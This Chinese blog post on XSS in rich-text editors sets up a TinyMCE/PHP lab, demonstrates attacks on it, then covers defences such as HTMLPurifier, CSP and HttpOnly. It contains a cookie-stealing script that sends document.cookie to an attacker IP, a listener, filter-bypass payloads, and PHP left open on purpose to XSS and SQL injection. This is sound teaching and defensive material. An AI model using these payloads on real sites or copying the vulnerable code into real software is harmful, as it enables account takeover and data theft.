【甲方安全建设】富文本编辑器XSS漏洞攻击及防御详析

原创文章,禁止转载。

调研背景

随着Web 2.0技术的普及,富文本编辑器在各种Web应用中得到了广泛应用,用户、网站管理员等可以通过富文本编辑器在网页中添加并展示格式化文本、图片、视频等丰富内容。然而,由于富文本内容本质上涉及客户端输入,并且可能包含HTML、JavaScript等代码,处理不当时容易引发跨站脚本攻击(XSS)。富文本XSS漏洞使得攻击者可以在受害者的浏览器中执行恶意代码,窃取用户敏感信息、进行身份盗用或操纵用户数据。

对于企业而言,尤其是在提供内容生成或互动功能的应用中,富文本XSS是一个重大威胁。因此,如何在不影响业务需求(如允许发送Javascript脚本代码)的情况下,确保富文本的安全性和友好性成为重要的研究课题。

本次调研将深入研究富文本XSS的漏洞成因与防御机制,并结合真实案例与实践经验探究如何达到友好性与安全性的统一。

搭建TinyMCE富文本编辑器靶场

由于TinyMCE富文本编辑器广泛应用于各种Web应用和网站中,因此本次调研搭建靶场使用到的工具、语言有:PHPStudy+PHP+MySQL+TinyMCE富文本编辑器。

主要实现功能如下:

富文本留言板应用程序,留言需输入昵称及留言内容,对留言内容可追加回复,每次留言后留言列表自动刷新。

1、创建数据库Project-XSS

2、创建表messages

USE Project-XSS;

CREATE TABLE messages (
    id INT AUTO_INCREMENT PRIMARY KEY,
    nickname VARCHAR(255) NOT NULL,
    message TEXT NOT NULL,
    reply_to INT DEFAULT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

3、下载富文本编辑器:https://download.tiny.cloud/tinymce/community/tinymce_7.3.0.zip,解压至WWW/XSS-Project目录下,其中tinymce.min.js文件的相对路径为/XSS-Project/tinymce/js/tinymce/tinymce.min.js

4、下载中文包:https://download.tiny.cloud/tinymce/community/languagepacks/6/zh_CN.zip,解压至WWW/XSS-Project目录下:

再将文件夹中的zh_CN.js文件复制至tinymce\js\tinymce\langs文件夹中:

接着,将language: 'zh_CN'插入至TinyMCE编辑器的初始化函数,即可实现汉化。

5、创建PHP文件(不对留言内容进行任何后端过滤)
按【官方文档】https://www.tiny.cloud/docs/tinymce/latest/cloud-quick-start/引入TinyMCE编辑器。
5.1、创建index.php,留言主界面

注意,引入TinyMCE富文本编辑器时,Windows操作系统需使用相对路径

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>留言板</title>
    <!-- 引入TinyMCE富文本编辑器-->
    <script src="/XSS-Project/tinymce/js/tinymce/tinymce.min.js" referrerpolicy="origin"></script>
    <script>
  tinymce.init({
    selector: '#message',
    language: 'zh_CN'
  });
</script>

</head>
<body>
    <h1>留言板</h1>
    
    <!-- 留言表单 -->
    <form action="submit.php" method="POST">
        <label for="nickname">昵称:</label>
        <input type="text" name="nickname" id="nickname" required><br><br>

        <label for="message">留言:</label><br>
        <textarea id="message" name="message"></textarea><br><br>

        <input type="hidden" name="reply_to" value="">
        <input type="submit" value="提交留言">
    </form>

    <h2>留言列表</h2>
    <div id="messages">
        <?php
        // 连接数据库
        $conn = new mysqli('localhost', 'qiushuo', 'qiushuo', 'Project-XSS');
        if ($conn->connect_error) {
            die("连接失败: " . $conn->connect_error);
        }

        // 获取所有留言
        $sql = "SELECT * FROM messages WHERE reply_to IS NULL ORDER BY created_at DESC";
        $result = $conn->query($sql);

        if ($result->num_rows > 0) {
            while($row = $result->fetch_assoc()) {
                echo "<div style='border: 1px solid #000; margin-bottom: 10px; padding: 10px;'>";
                echo "<p><strong>" . htmlspecialchars($row['nickname']) . ":</strong></p>";
                echo "<p>" . $row['message'] . "</p>";
                echo "<p>发表于: " . $row['created_at'] . "</p>";
                echo "<a href='reply.php?id=" . $row['id'] . "'>回复</a>";
                
                // 显示回复内容
                $reply_sql = "SELECT * FROM messages WHERE reply_to = " . $row['id'] . " ORDER BY created_at ASC";
                $reply_result = $conn->query($reply_sql);
                if ($reply_result->num_rows > 0) {
                    while($reply_row = $reply_result->fetch_assoc()) {
                        echo "<div style='margin-left: 20px; border: 1px dashed #000; padding: 10px;'>";
                        echo "<p><strong>" . htmlspecialchars($reply_row['nickname']) . ":</strong></p>";
                        echo "<p>" . $reply_row['message'] . "</p>";
                        echo "<p>回复于: " . $reply_row['created_at'] . "</p>";
                        echo "</div>";
                    }
                }

                echo "</div>";
            }
        } else {
            echo "还没有留言.";
        }

        $conn->close();
        ?>
    </div>
</body>
</html>

5.2、创建reply.php,实现回复留言功能:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>回复留言</title>
    <!-- 引入TinyMCE富文本编辑器 -->
    <script src="D:/Security/PHPStudy/phpstudy_pro/WWW/XSS-Project/tinymce/js/tinymce/tinymce.min.js" referrerpolicy="origin"></script>
    <script>
  tinymce.init({
    selector: '#message',
    language: 'zh_CN'
  });
</script>


</head>
<body>
    <h1>回复留言</h1>
    
    <form action="submit.php" method="POST">
        <label for="nickname">昵称:</label>
        <input type="text" name="nickname" id="nickname" required><br><br>

        <label for="message">回复内容:</label><br>
        <textarea id="message" name="message"></textarea><br><br>

        <input type="hidden" name="reply_to" value="<?php echo $_GET['id']; ?>">
        <input type="submit" value="提交回复">
    </form>
</body>
</html>

5.3、创建submit.php,将表单提交的数据插入到数据库中的 messages 表:

<?php
// 连接数据库
$conn = new mysqli('localhost', 'qiushuo', 'qiushuo', 'Project-XSS');
if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
}

// 获取表单数据
$nickname = $_POST['nickname'];
$message = $_POST['message'];
$reply_to = empty($_POST['reply_to']) ? 'NULL' : $_POST['reply_to'];

// 插入留言
$sql = "INSERT INTO messages (nickname, message, reply_to) VALUES ('$nickname', '$message', $reply_to)";
if ($conn->query($sql) === TRUE) {
    header("Location: index.php");
} else {
    echo "错误: " . $sql . "<br>" . $conn->error;
}

$conn->close();
?>

需要注意:由于reply_to为INT类型,因此如下SQL语句中,$reply_to不能加引号:

$sql = "INSERT INTO messages (nickname, message, reply_to) VALUES ('$nickname', '$message', $reply_to)";

否则在发表自主评论而非回复时,将导致报错:

错误:INSERT INTO messages (nickname, message, reply_to) VALUES ('1', '1', '')
第 1 行“reply_to”列的整数值不正确:''

富文本编辑器前端过滤

绝大多数富文本编辑器的开发商(如CKEditor、Froala、Quill等)在产品中实现了前端 XSS 过滤技术,这在防范恶意脚本和帮助不具备安全意识的个人网站管理员方面,提供了一定的保护。

TinyMCE富文本编辑器安全策略可知,对于业务角度而言,用户发送含有<script>alert()等的正常业务代码,并不能实现XSS攻击:

概念验证如下,用户提交留言后并未影响应用程序:

这是由于富文本编辑器对标签及关键字进行了HTML实体编码:

同时,以DVWA靶场为例:

//XSS(Reflected)-low level 源代码
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Feedback for end user
	$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

在前后端未进行XSS过滤的情况下,极易实现Cookie劫持的情况:

接下来模拟Cookie劫持实现账户接管。

攻击机监听端口(这里以本地环境10.198.131.63:2022为例):

import socket

HOST = '10.198.131.63'
PORT = 2022

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 创建一个服务器套接字,使用 IPv4 地址族(AF_INET)和 TCP 传输协议(SOCK_STREAM)
server_socket.bind((HOST, PORT))
# 将服务器套接字与主机地址和端口号进行绑定,以便客户端能够找到它
server_socket.listen(1)

print('等待客户端连接...')

client_socket, addr = server_socket.accept()
print('客户端已连接:', addr)

data = client_socket.recv(1024)
print('接收到数据:', data.decode())

接着,构造含XSS的URL:

http://127.0.0.1/dvwa-master/vulnerabilities/xss_r/?name=%3Cscript%3E+++new+Image%28%29.src+%3D+%27http%3A%2F%2F10.198.131.63%3A2022%2Fcookie%3Fdata%3D%27+%2B+document.cookie%3B+%3C%2Fscript%3E#

其中XSS Payload为:

<script>
    new Image().src = 'http://10.198.131.63:2022/cookie?data=' + document.cookie; </script>

受害者访问该链接后,Cookie被发送至攻击者服务器:

接着,攻击者访问:http://127.0.0.1/dvwa-master/vulnerabilities/xss_r/,此时被重定向至登录界面,在Cookie Editor插件中修改Cookie为受害者Cookie:

再次访问该URL,即可接管账户:

通过以上正反两例可以看出,前端的 XSS 过滤在防止账户劫持、泄露敏感信息、以及提升用户体验等方面起到了有效的防护作用。然而,一旦攻击者成功绕过后端防护,前端的所有措施便失去效果。

富文本编辑器后端攻击

由于后端php文件未对传入的message参数做任何XSS过滤,因此可通过Burp请求包实现任意储存型XSS,步骤如下。

拦截请求包:

将请求体中message参数的值改为未经编码的Payload:

放包,浏览器解析JavaScript代码,实现XSS:

后端弱过滤

由于前端的转义防护可能被绕过,因此后端的过滤机制显得尤为关键。然而,即使后端实施了转义和过滤,攻击者仍然可以绕过这些防护措施。同时,后端过滤机制可能导致应用程序对用户不友好。

弱过滤1

若后端过滤机制如下,正则匹配并置空script>img

如下图浏览器界面,Payload中的script>被置空:

然而,由代码审计得,该后端过滤机制可被双写绕过,导致XSS:

<scripscript>t>alert(1)</scrscript>ipt>

同时,用户输入以下内容时:

图片标签img语法格式为:

<img src="./../images/cxin.jpg" alt="">

后端过滤机制将导致应用程序的不友好性:

弱过滤2

由上可知,若采用PHP preg_replace()函数,将导致部分标签或代码被置空,这对于留言板应用程序是不够友好的。因此,另一个友好的思路是使用htmlspecialchars()函数,在后端对传入的参数值进行编码转义,即将HTML标签转化为浏览器不能识别的字符。

而该函数默认不会过滤单引号,也将导致XSS安全隐患。此处以代码审计为例:

传入的message参数由htmlspecialchars()函数转义后,插入到$html12的属性及链接文本中。若输入cxin,则$html12为:

<a href='cxin'>cxin</a>

而由该函数特性,可构造Payload:' onclick='alert(document.cookie)'

$html12变为:

<a href='' onclick='alert(document.cookie)'>' onclick='alert(document.cookie)'</a>

有效部分如下,实现XSS:

<a href='' onclick='alert(document.cookie)'>

概念验证如下:

后端有效过滤

从代码审计的角度来看,不够严格的过滤仍然存在安全隐患。如何构建前后端一体化的安全体系显得至关重要。经调研,有效措施将从以下四个方面展开。

1、采用安全可靠的HTML过滤库

强大的HTML过滤库有HTMLPurifier、DOMPurify等,此处以HTMLPurifier为例。HTML Purifier 的核心机制是基于严格的标签和属性白名单,它通过预定义的规则来控制哪些 HTML 元素和样式可以被接受。其先进的解析器能够深入分析 HTML 代码,即使面对复杂或错误的结构,也能正确处理,并自动修正不符合标准的嵌套问题,最终生成完全符合 W3C 规范的干净 HTML 输出。此外,HTML Purifier 兼容流行的富文本编辑器如 TinyMCE 和 FCKeditor,使其成为 WYSIWYG(实时预览) 编辑场景中的理想选择。

https://htmlpurifier.org/docs

2、安全且合理的CSP配置

CSP通过控制网页中哪些资源(如脚本、样式、图像等)可以被加载和执行,来限制攻击者利用富文本编辑器插入恶意代码。

例如,该指令指定允许加载和执行 JavaScript 的来源为https://mexc.cdn.com

Content-Security-Policy: script-src 'self' https://mexc.cdn.com

该指令显式禁止内联脚本:

Content-Security-Policy: script-src 'self' https://mexc.cdn.com; unsafe-inline 'none';

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP

3、设置HttpOnly属性

HttpOnly 用于指示浏览器不允许通过客户端脚本(如 JavaScript)访问 Cookie,使得Cookie 只能通过 HTTP 请求(如页面加载或 AJAX 请求)发送到服务器端,从而保护 Cookie 的机密性,减轻了 XSS 攻击的后果。

示例代码如下,设置HttpOnly属性,不允许JavaScript访问Cookie:

逻辑验证如下:

不使用HttpOnly属性后,可脚本访问Cookie:

<iMg sRc=1 oneRror=alert(document.cookie)>

4、CDN安全属性配置

此外,应用程序在通过 linkscript 标签引入样式文件或第三方库时,应在标签内添加 integrity 属性,以确保文件的完整性,防止因 CDN 劫持而引发的 XSS 攻击:

Dropzone.js提供文件拖放上传功能,常用于富文本编辑器中嵌入文件的场景

MathJax提供渲染数学公式功能,适合需要展示 LaTeX 或 MathML 公式的富文本场景

从甲方的视角看动态安全

得益于富文本编辑器开发商对产品安全性和用户体验的重视,甲方引入的富文本编辑器通常都具备内置的安全过滤机制。因此,在进行产品和应用程序开发时,建议使用成熟的富文本编辑器。

现代应用程序常使用成熟的框架进行开发,将富文本编辑器集成到如 Vue 等框架中时,由于这些框架通常可集成安全策略,例如内置 HTML 转义、配合使用内容清理库(如 DOMPurify)来过滤潜在的恶意代码,也可以进一步提高防护等级。

WAF 提供商通常会提供实时保护和定期更新的规则集,以应对新兴的攻击模式。通过接入 WAF 并隐藏真实 IP,能够有效防御多种安全威胁。

以上是针对甲方富文本XSS安全的解决措施。然而,安全不是一蹴而就的,也没有绝对保障。只有全面考虑各方面的因素,才能实现真正的安全。

平衡安全性与富文本功能之间的需求,是企业服务与数据安全保障的重要考量。 这不仅涉及到如何确保用户在使用富文本编辑器时的安全、友好性体验,还关乎企业在保护数据隐私和防御潜在威胁中的策略。通过引入先进的富文本编辑器和结合框架、后端的内置安全机制,企业能够在提升用户交互体验的同时,有效降低安全风险,从而确保业务运营的稳定性与友好性。

源代码:

HttpOnly.php

<?php
// 设置Cookie值为cxin-cookie-mexc,不使用HttpOnly属性。
setcookie("Cookie", "cxin-cookie-mexc", time() + 3600, "/", "", false, false);

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $nickname = $_POST["nickname"];
    $message = $_POST["message"];
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 20px;
            padding: 0;
            background-color: #f4f4f4;
        }
        .container {
            max-width: 600px;
            margin: auto;
            background: #fff;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }
        h1 {
            text-align: center;
            color: #333;
        }
        label {
            display: block;
            margin: 10px 0 5px;
            color: #555;
        }
        input[type="text"], textarea {
            width: 100%;
            padding: 10px;
            margin: 0 0 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
            box-sizing: border-box;
        }
        input[type="submit"] {
            background-color: #4CAF50;
            color: white;
            border: none;
            padding: 10px 20px;
            text-align: center;
            text-decoration: none;
            display: inline-block;
            font-size: 16px;
            margin: 4px 2px;
            cursor: pointer;
            border-radius: 4px;
        }
        input[type="submit"]:hover {
            background-color: #45a049;
        }
        .message-display {
            margin-top: 20px;
            padding: 10px;
            background: #fff;
            border-radius: 4px;
            box-shadow: 0 0 5px rgba(0, 0, 0, 0.1);
        }
        .message-display p {
            margin: 5px 0;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>留言板</h1>
        <form action="HttpOnly.php" method="POST">
            <label for="nickname">昵称:</label>
            <input type="text" name="nickname" id="nickname" required>

            <label for="message">留言:</label>
            <textarea id="message" name="message"></textarea>

            <input type="hidden" name="reply_to" value="">
            <input type="submit" value="提交留言">
        </form>

        <?php if ($_SERVER["REQUEST_METHOD"] == "POST"): ?>
            <div class="message-display">
                <h2>留言:</h2>
                <p><strong>昵称:</strong> <?php echo $nickname; ?></p>
                <p><strong>留言内容:</strong> <?php echo $message; ?></p>
            </div>
        <?php endif; ?>
    </div>
</body>
</html>


htmlspecialchars.php

<?php

$html = '';
if (isset($_GET['submit'])) {
    if (empty($_GET['message'])) {
        $html = "<p class='notice' style='color:red;'>输入不允许为空!</p>";
    } else {
        $message = htmlspecialchars($_GET['message']);
        $html = "<p class='notice'>留言内容如下:</p><a href='{$message}'>{$message}</a>";
    }
}

?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }

        .page-content {
            background-color: #fff;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }

        .cxin_in {
            padding: 10px;
            width: 300px;
            margin-bottom: 10px;
            border: 1px solid #ccc;
            border-radius: 4px;
        }

        .cxin_submit {
            padding: 10px 20px;
            background-color: #007bff;
            color: #fff;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }

        .cxin_submit:hover {
            background-color: #0056b3;
        }

        .notice {
            font-size: 16px;
            margin-top: 10px;
        }
    </style>
</head>
<body>

    <div class="page-content">
        <form method="get">
            <input class="cxin_in" type="text" name="message" placeholder="输入留言内容" />
            <input class="cxin_submit" type="submit" name="submit" value="提交" />
        </form>
        <?php
        echo $html;
        ?>
    </div>

</body>
</html>

posted @ 2024-09-02 20:09  秋说  阅读(511)  评论(0编辑  收藏  举报